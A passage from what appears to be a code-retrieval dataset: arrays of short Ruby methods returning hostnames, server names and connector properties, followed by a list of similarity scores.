"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup_handler\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def before_action \n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def setup_signals; end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def after_set_callback; end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def around_hooks; end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def call\n setup_context\n super\n end",
"def duas1(action)\n action.call\n action.call\nend",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163754",
"0.6045816",
"0.5944853",
"0.59169096",
"0.58892167",
"0.58342934",
"0.5776148",
"0.57057375",
"0.57057375",
"0.56534296",
"0.56209534",
"0.54244673",
"0.54101455",
"0.54101455",
"0.54101455",
"0.53951085",
"0.5378493",
"0.53563684",
"0.53399915",
"0.5338049",
"0.53307265",
"0.5312121",
"0.5298173",
"0.5296388",
"0.52952695",
"0.5258086",
"0.52430934",
"0.5237911",
"0.5237911",
"0.5237911",
"0.5237911",
"0.5237911",
"0.52335346",
"0.5232943",
"0.5226392",
"0.52221715",
"0.5217978",
"0.52136153",
"0.52076435",
"0.52067244",
"0.5175402",
"0.5174649",
"0.5173085",
"0.5165201",
"0.5162052",
"0.5157932",
"0.5152905",
"0.5152353",
"0.5150909",
"0.514719",
"0.5138596",
"0.51333916",
"0.51139015",
"0.5113431",
"0.5113431",
"0.5109581",
"0.51066816",
"0.5091428",
"0.5089407",
"0.5082971",
"0.50822043",
"0.50668514",
"0.5055155",
"0.50525695",
"0.50499475",
"0.50499475",
"0.5034445",
"0.50249445",
"0.5022226",
"0.50167644",
"0.5014211",
"0.4999924",
"0.49996212",
"0.49978727",
"0.4989682",
"0.4989682",
"0.49851838",
"0.49817684",
"0.4979687",
"0.49787104",
"0.49688423",
"0.49664098",
"0.49564412",
"0.49561828",
"0.49547398",
"0.4953481",
"0.4952925",
"0.4946049",
"0.494379",
"0.49319315",
"0.49313048",
"0.49269778",
"0.49263066",
"0.49257493",
"0.4924526",
"0.49212465",
"0.49173486",
"0.4915802",
"0.49151486",
"0.49150333",
"0.49147308"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def user_params
params.require(:user).permit(:email, :password, :password_confirmation, :full_name, :contact_number, :team_id, :supervisor_id, :isSupervisor, :supervisorNameNotAUser, :isActive, :isAdmin, :isApproved, :isDenied, :isBlinded)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def url_whitelist; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.6978086",
"0.6780264",
"0.6742658",
"0.6738813",
"0.67338693",
"0.65908474",
"0.6501793",
"0.6495506",
"0.64796513",
"0.64755446",
"0.6454826",
"0.6437561",
"0.6377127",
"0.63722163",
"0.6364058",
"0.63178706",
"0.62979764",
"0.62968165",
"0.62913024",
"0.6289789",
"0.6289145",
"0.62875307",
"0.6280997",
"0.62420976",
"0.62388235",
"0.6216686",
"0.62122375",
"0.6208949",
"0.619173",
"0.6176307",
"0.6173907",
"0.6170346",
"0.616111",
"0.6150513",
"0.6150023",
"0.61446756",
"0.6120429",
"0.6112975",
"0.6104845",
"0.6102966",
"0.6087884",
"0.6079323",
"0.60699135",
"0.60602236",
"0.60191786",
"0.60170597",
"0.60100305",
"0.6009527",
"0.60052776",
"0.60052776",
"0.600042",
"0.5999317",
"0.59933805",
"0.5991528",
"0.5991221",
"0.5990094",
"0.5979497",
"0.5966058",
"0.5958738",
"0.59579456",
"0.5957759",
"0.5956938",
"0.5951788",
"0.59511644",
"0.59423065",
"0.59373474",
"0.59361076",
"0.59361076",
"0.59331447",
"0.5928005",
"0.5924882",
"0.5924011",
"0.59169155",
"0.5908037",
"0.5907541",
"0.59061426",
"0.59056246",
"0.5897408",
"0.58960444",
"0.58951247",
"0.5893136",
"0.5892312",
"0.5890385",
"0.58853275",
"0.58801144",
"0.58784765",
"0.5872648",
"0.58682626",
"0.5867028",
"0.58661693",
"0.586578",
"0.58643955",
"0.5863193",
"0.58609086",
"0.5859997",
"0.5858935",
"0.5858632",
"0.5853379",
"0.5852741",
"0.584806",
"0.5847703"
] |
0.0
|
-1
|
Gets the connectorServerName property value. The name of the server hosting the Exchange Connector.
|
def connector_server_name
return @connector_server_name
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def connector_server_name=(value)\n @connector_server_name = value\n end",
"def server_name\n return @server_name\n end",
"def server_name\n return @forwarded_server || @config[:ServerName]\n end",
"def get_server_domain\n @hostname ||= Socket.gethostname\n end",
"def exchange_server\n return @exchange_server\n end",
"def server_hostname\n @node['serverHostname']\n end",
"def hostname\n return @hostname\n end",
"def hostname\n unless defined?(@hostname)\n @hostname = solr_url.host if solr_url\n @hostname ||= user_configuration_from_key('solr', 'hostname')\n @hostname ||= default_hostname\n end\n @hostname\n end",
"def server_name\n self.setup\n @server_name ||= self.attributes[\"connection\"]||self.class::DEFAULT_SERVER_NAME\n end",
"def connector_id\n return @connector_id\n end",
"def get_server_hostname\n (`hostname`).strip\n end",
"def hostname\n session.transport.socket.client_name\n end",
"def hostname\n Socket.gethostname.split('.').first.strip\n end",
"def get_server_domain\n \"Ok EventMachine SMTP Server\"\n end",
"def master_hostname\n @master_hostname ||= (user_configuration_from_key('master_solr', 'hostname') || hostname)\n end",
"def app_server\n app_server_integration.name\n end",
"def get_server\n get_general['server']\n end",
"def server_host\n Socket.gethostname\n end",
"def hostname\n Socket.gethostname\n end",
"def hostname\n Socket.gethostname\n end",
"def hostname\n name + '.localhost'\n end",
"def ServerName()\r\n ret = @dispatch._getproperty(1610743816, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end",
"def server\n @server.to_s\n end",
"def hostname\n v = self.host\n v&.start_with?('[') && v.end_with?(']') ? v[1..-2] : v\n end",
"def exchange_connector_type\n return @exchange_connector_type\n end",
"def ServerName()\r\n ret = _getproperty(1610743816, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end",
"def exchange_server=(value)\n @exchange_server = value\n end",
"def nameserver_info\n facts.fetch(\"Nameserver\", {})\n end",
"def server_host\n AgileProxy.config.server_host\n end",
"def hostname\n options[:hostname]\n end",
"def server_domain\n \"Ok EventMachine SMTP Server\"\n end",
"def hostname\n @hostname ||= `hostname`.strip\n end",
"def hostname\n @hostname ||= `hostname`.chomp\n end",
"def hostname\n @options[:host][:name] if @options[:host]\n end",
"def hostname\n @hostname ||= ENV['HOSTNAME'] || `hostname`.chomp\n end",
"def domain\n server_name || http_host\n end",
"def hostname\n ssh.exec!(\"hostname\").chomp\n end",
"def configured_hostname\n running_config.scan(/hostname\\s*(\\S+)/).flatten.first\n end",
"def private_hostname_of(server)\n server[:fqdn]\n end",
"def getserverurl\r\n return getvalue(@@SERVER_URL)\r\n end",
"def peer_hostname\n (error, name) = Cproton.pn_ssl_get_peer_hostname(@impl, 1024)\n raise SSLError.new if error < 0\n return name\n end",
"def host\n @connection.host\n end",
"def client_hostname\n @opts[:hostname]\n end",
"def server_name=(value)\n @server_name = value\n end",
"def hostname\n (request.env['HTTP_X_FORWARDED_SERVER'] =~ /[a-z]*/) ? request.env['HTTP_X_FORWARDED_SERVER'] : request.env['HTTP_HOST']\n end",
"def hostname\n @hostname ||= ENV['HOSTNAME'] || `hostname`.delete(\"\\n\")\n end",
"def hostname\n return 'unknown' unless available?\n @hostname ||= ssh_cmd('hostname').chomp\n end",
"def config_server_name\n return if config[:server_name]\n\n if config[:server_name_prefix]\n config[:server_name] = server_name_prefix(\n config[:server_name_prefix]\n )\n else\n config[:server_name] = default_name\n end\n end",
"def server_management_url\n self.auth_response[:server_management_url]\n end",
"def get_public_hostname\n rpc_get_fact_direct('public_hostname')\n end",
"def hostname\n protocol = request.headers['HTTP_X_FORWARDED_PROTO'] ||\n request.protocol ||\n 'http'\n protocol += '://' unless protocol.match?(%r{://})\n\n \"#{protocol}#{request.host}\"\n end",
"def getServerName(server_name_string)\n regionservers = getRegionServers\n\n if ServerName.isFullServerName(server_name_string)\n return ServerName.valueOf(server_name_string)\n else\n name_list = server_name_string.split(',')\n\n regionservers.each do|sn|\n if name_list[0] == sn.hostname && (name_list[1].nil? ? true : (name_list[1] == sn.port.to_s))\n return sn\n end\n end\n end\n\n return nil\n end",
"def server_domain\n url = get_configuration 'server_domain', @work_type_config.dig('hydra_endpoint'), @config\n URI.parse(url.gsub(/\\/$/, ''))\n end",
"def subdomain\n env[\"SERVER_NAME\"].match(/(.+)\\.#{::Service.this.domain}/)\n $1\n rescue Vidibus::Service::ConfigurationError\n unless env['PATH_INFO'] == '/connector'\n raise(ServiceError, 'This service has not been configured yet')\n end\n end",
"def get_server_version\n server_info[:server_version]\n end",
"def hostname\n if @hostname.nil?\n @hostname = ENV[\"COMPUTERNAME\"]\n @hostname = ENV[\"HOSTNAME\"] if @hostname.blank?\n @hostname = `hostname` if @hostname.blank?\n @hostname = @hostname.gsub(/\\.terracotta\\.lan/, '').strip\n end\n \n @hostname\n end",
"def server_name(name = nil)\n return @server_name if name.nil?\n @server_name = name.to_sym\n end",
"def enterprise_proxy_servers\n return @enterprise_proxy_servers\n end",
"def domain_name\n return @domain_name\n end",
"def domain_name\n return @domain_name\n end",
"def hostname\n Socket.gethostname\n end",
"def connector_id=(value)\n @connector_id = value\n end",
"def host\n\t\t\t# FIXME: This is both a hack and the best way I know to do this.\n\t\t\tSocket.getaddrinfo(Socket.gethostname, 0)[0][2]\n\t\tend",
"def public_hostname\n get_proxy.get_public_hostname\n end",
"def protocol_name\n self.class.protocol_name\n end",
"def getMysqlServer()\n if @@serverList.nil?\n output = RunCommandOnMailbox.new('zmlocalconfig mysql_bind_address').run[1]\n @@serverList = output.to_s.split('=').last.strip\n end\n \n @@serverList\n end",
"def server\n servers[0]\n end",
"def host\n return @host\n end",
"def host\n return @host\n end",
"def hostname\n host_hash['vmhostname'] || @name\n end",
"def hostname\n hostname = nil\n run \"hostname\" do |channel, stream, data|\n hostname = data.chomp\n end\n hostname\n end",
"def host\n @config.db_hostname\n end",
"def hostname(value)\n value || BASE_URI\n end",
